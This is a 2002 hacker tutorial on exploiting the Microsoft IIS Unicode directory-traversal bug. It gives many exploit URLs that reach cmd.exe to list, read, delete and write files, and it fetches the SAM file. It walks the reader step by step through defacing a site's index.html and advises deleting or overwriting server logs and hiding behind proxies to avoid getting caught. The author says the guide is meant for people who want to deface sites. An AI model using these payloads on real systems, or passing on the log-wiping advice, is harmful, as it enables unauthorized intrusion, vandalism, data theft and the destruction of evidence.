Microsoft IIS Unicode Exploit Explained

By: C0ldPhaTe

11/14/02

Unicode Exploit Explanation:

Microsoft Internet Information Server (ISS) versions 4.0 and 5.0 which usually runs on Windows NT4 and Windows 2k all have the Unicode extensions installed by default. Unicode allows characters that are not used in the English language to be recognized by Web Servers. The Unicode ISS Exploit allows users to run arbitrary commands on the target web servers. The Unicode extensions loaded on ISS Servers are known to be vulnerable unless they are running the current patches within the server.

Unicode Exploit Usage:

The Unicode Exploit is mostly found with Microsoft's ISS, but it don't really matter what Operating System you are using on the machine. The reason why is because The Unicode Exploit is a Web Server specific hole. As long as you're running Microsoft ISS 4.0 or 5.0 Web Server the hole will be exploitable.

1. It can be used when a writeable or executable directory is available; this allows attacks to upload malicious code.

2. Or when a system executable such as cmd.exe or cmd2.exe is available on the root, which doesn't have an access control listing written to it.

The Microsoft ISS Unicode exploit uses the **H**yperText **T**ransfer **P**rotocol (HTTP) and malformed URLs to execute arbitrary commands and transverse directories on vulnerable web servers. Unicode exploit uses Unicode representation of a directory delimiter (/) to fool ISS. The reason why this works so well is because you can use it right from your web browsers address bar, the reason why you can do this is because it uses the Hyper Text Transfer Protocol (HTTP). The only thing that the exploit lacks is its program usage. Programs such as the File Transfer Protocol (FTP) or Telnet don't work very well with this exploit reasoning is because this is a non-interactive exploit.

Checking For Vulnerability

First Step: You would start by finding a scanner for exploits. There are a ton out there N - Stealth is a good one but very slow, CGI Scanner v4.0 is also another one. You can also try using scripts to scan for vulnerabilities. Go to www.g0tr00t.net and download his Perl Script from his scripting section. This pearl script will allow you to scan a host in search of the Unicode bug. Then it will tell if is its executable or not.

Second Step: After finding a vulnerable host is to copy and paste the URL directly into your web browsers address bar.

Third Step: You might be asking yourself how do I know if I have found the Unicode Hole or not. Below is what your scanner might possibly give you as an output.

Http://www.target/scripts/..%c1%c1../winnt/system32/cmd.exe?/c+dir+c:\

This is just a possible hole you might find. Unfortunate I'm not able to list all the known exploits of Unicode because that itself would take up a textile of its own. But I will include a couple examples of them later on in the document.

Sample Scripts Which Can Be Used To Exploit Servers

Here are a couple of simple scripts, which can be used to find the Unicode Exploit in servers. Above I listed one, but here are a couple others you might like to try.

***Script**:* Http://www.target.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c
***Definition*:** This script has a virtual executable directory (scripts). Which is located on the same drive of the Windows system.

***Script*:** Http://www.target.com/../../../../../winnt/repair/sam._
***Definition*:** The ../ Tells the web server to look up one directory. So if you go ../ Five times in a row it will make the web server look for the document root for a file called winnt/repair/sam._ You can put as many ../ As you want as long as there is enough to get back to the root file directory

***Script*:** Http://www.target.com/../../../../../winnt/repair/sam._
After running one of these scripts hopefully you have gotten lucky enough to get the directory of C:\ revealed to you through your browser window. If not continue to keep searching for vulnerable web sites.

Exploit Break Down

First lets start of by saying my site is www.microsoft.com and is running ISS. In order to understand how the actual attack works and to understand the attack itself you will need to know what the script pieces mean.

Sample Script:
http://www.microsoft.com/**scripts**/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

You will notice how the script calls for something from the Scripts directory, with this exploit the path and executable cmd.exe must be correct or it will not work.

http://www.microsoft.com/scripts/**..%c0%af**../winnt/system32/cmd.exe?/c+dir+c:\

This string of characters is an overlong Unicode representation for "/" If this Unicode exploit is loaded on the target server the URL will be interpreted to be as

http://www.microsoft.com/scripts/../../winnt/system32/cmd.exe?/c+dir+c:\

What this URL does is it backs out of the Web root, to the root directory of the target server, then it calls winnt\system32\cmd.exe. The cmd.exe is being used here as the command interpreter this is used to execute the command "dir c:\"

This exploit occurs because the target CGI routine within the web server decodes the address twice. The first CGI filename will be decoded to check if its executable such as (. exe, .com).

http://www.microsoft.com/scripts/..%c0%af../winnt/system32/cmd.exe**?**/c+dir+c:\

In this string of characters you can see the? After the cmd.exe this means argument. In this URL the argument is /c. This particular argument means it carries out command specified by using the string and then it terminates.

Defacing Using The Unicode Exploit

Chances are most of you people are reading this file not for the information about the Unicode Exploit, but because you wanna deface someone's site or web sites so here is how you would go about defacing a web site using the Unicode Exploit.

Below are some of the Latest Unicode Exploits Used In Defacing Web Sites

Http://www.target.com/scripts/..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:\

Http://www.target.com/msadc/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:\

Http://www.target.com/cgi-bin/..%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:\

Http://www.target.com/_vti_cnf/…%255c..%255c.%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:\

Http://www.target.com/_vti_bin/…%255c..%255c.%225c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/c+dir+c:\

If the server is vulnerable you should get a listing of the c drive, If none of the links I have given you works then either they have been patched or the server is not vulnerable.

Now assuming you have gotten lucky enough to get a directory read out using of the Unicode scripts. Remember by getting access to the C:\ your not being logged by ISS, ISS Logs everything and every action you try so remember to delete the log files later on I will explain to you how to delete the files. Many people get busted because they're not cautious enough. Always watch over yourself and don't trust anybody work alone.

Sample Directory of C:\

10/17/02	01.00p	<DIR>	Documents
10/17/02	03.59p	<DIR>	WIN NT
10/17/02	07.01p	<DIR>	Inetpub
10/19/02	06.00p	<DIR>	Program Files
10/26/02	03.43p	<DIR>	SQL
11/7/02	09.10p	<DIR>	WebLogs
10/9/02	06.15p	<DIR>	Mail

1 Files(s)	3,222,220 Bytes
7 Dir (s)	745,343,200 Bytes Free.

Now to navigate just change the link within the web browser address bar to /system32/cmd?/c+dir+c\TEMP
By doing this you will now be able to view the temp directory, pretty much navigation through the system is just like navigation through MS DOS or Linux or Unix.

Now in order to find the main page of the web site. We first must find webroot. Webroot is the path, in which all files for the web site are held, including Index.html. More then 90 % of the time the webroot with be held in the D:\ directory, but the sites administrators decide the location it can be placed anywhere.

Listing Contents on the D:\ Is Easy simply type /system32/cmd.exe?/c+dir+d:\

This should list the contents within the D:\ drive
But make sure to also check the C:\InetPub\WWWRoot this is where the Index.html might be able to also be found.

Important Personal Note: From all the pages I have defaced using this Exploit this is what I have noticed even though you might have found the index.html it might not truly be the Index.html file reason being is because a lot of administrators create mock webroots. This is to prevent their web site from being hacked. But there is a way to beat this you will have to visit the web site and get the size of the web page itself. For those of you who don't know who to do that, all you do is right click and click on properties. Now all you do is match up the byte size to the one you have found and if it's the same size file it's the true Index.html if not keep searching to try and find the other one.

Commands Used When Defacing The Web Site

Below are some commands you are going to wanna become familiar with because the faster you can execute them the less time your on the server. You will now find below a script to be placed within the web browsers address bar and a brief description about what it's used for.

Description: In order to list all the files on the server you would enter the script below and change the "contents" to whatever extension you would like to use for instance (cgi-bin, scripts, etc.)

Http://www.target.com/contents/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/winnt/system32.cmd.exe?/c%20dir%20/S20c:*contents

Description: In order to download a file off the server you would use this script listed below. But you would also have to change the "contents" to whatever extension you would like to use for instance (cgi-bin, scripts, etc.)

Http://www.target.com/contents/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/winnt/system32.cmd.exe?/c%20type\c%20c:*contents.file

Description: In order to delete a file from the server you can simple use the script below. Just remember to also change the "contents" to whatever extension you would like to use for instance (cgi-bin, scripts, etc.)

Http://www.target.com/contents/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/winnt/system32.cmd.exe?/c%20del\c%20c:*contents.file

Description: In order to create a text file on the server you can simple use the script below. Just remember to also change the "contents" to whatever extension you would like to use for instance (cgi-bin, scripts, etc.)

Http://www.target.com/contents/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/..%c0%af/winnt/system32.cmd.exe?/c%20echo%20Your Text Goes Here!!!!!>\%test.txt

Now How To Actually Change The Index.html

Now for the part you all have been waiting for. This is the part about actually editing the web sites Index.html. You don't need to know any of the HyperText Markup Language (HTML) to do this but in order to create a decent looking defacement I would recommend learning the basics. You can find HTML tutorials all over the web. Look for my tutorial on "Using And Understand The HyperText Markup Language (HTML)" coming later on this month.

First start off by looking in the Default web server directory **C:\InetPub\WWWRoot** But more times then any the file found in here will not be the correct index.html so make sure you know the file size which I explained how to get earlier in the text file.

Ok after your have found the correct Index.html you will need to gain write access to the server you can gain write access to the server buy executing these next commands.

cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\winnt\system32\cmd1.exe

Now change the URL you are using in your web browser to the following

/winnt/system32/cmd1.exe?/c+dir+c:\

By doing this you should now be able to have write access to the servers directory. In order to test to see if you have gotten write access execute one of these test scripts below

Cmd1.exe?/c+echo+helow!+>+c:\test.txt
Cmd1.exe?c+echo+hello!+>d:\text.txt

After you execute one of those commands and you have not been able to gain write access you will be presented with an access denied error. This means you can't get write access to this server so pretty much find another server or try another exploit found within the server.

Pretty much defacing the page is pretty simple once you get write access all you really do is echo your message to a file then "copy" index.html backup.html then you will now "copy" your index.html in its place.

Important Note: Always remembers to clean the log files. Before even starting anything I would suggest loading a proxy server this would keep you protected but not untraceable. A proxy server will make it harder for you to be found but not impossible. So remember to always delete the log files or to over write them you can do this by executing the following command.

The default log file is located in c:\WINNIT\SYSTEM32\LOGFILES\W3SVC32 but I will almost guarantee they will not be there so now you ask yourself what can I do?

Well its simple all you will have to do is simply execute this command and it should display the log files for you the command is

*Cmd1.exe?/c+dir+/S+c:*W3SVC32 this command should almost defiantly find the server log files. I would recommend removing them completely but you might not be able to do this so I then would recommend echoing over them.*

Conclusion

I'm not claiming to be some famous hacker, I'm just a regular security buff who likes to find new holes in security and play with the commands and scripts. Indeed exploiting servers using Unicode is not hacking. Is known to a lot of people as "{script kiddies)" but it is fun to do. Although don't consider yourself to be a hacker if all can do is execute browser scripting commands. If you want to become a true hacker I would recommend reading everything you can get your hand on and I would also recommend learning a programming languages such as Borland C/C++, Perl, Java Scripting. But the real key thing to remember is never get to sure of yourself because there will always be that chance of getting caught so please if you don't want to get caught go to all measures of protecting yourself. Look for upcoming text files by me also if you would like to contact me you can do so by using the following places or links.

MIRC - irc.dalnet #ctcc, #ncl, #hackalot, #hack-i, #antilamer, #MINDtech
E.Mail - gbrooks@mcintoshstudent.com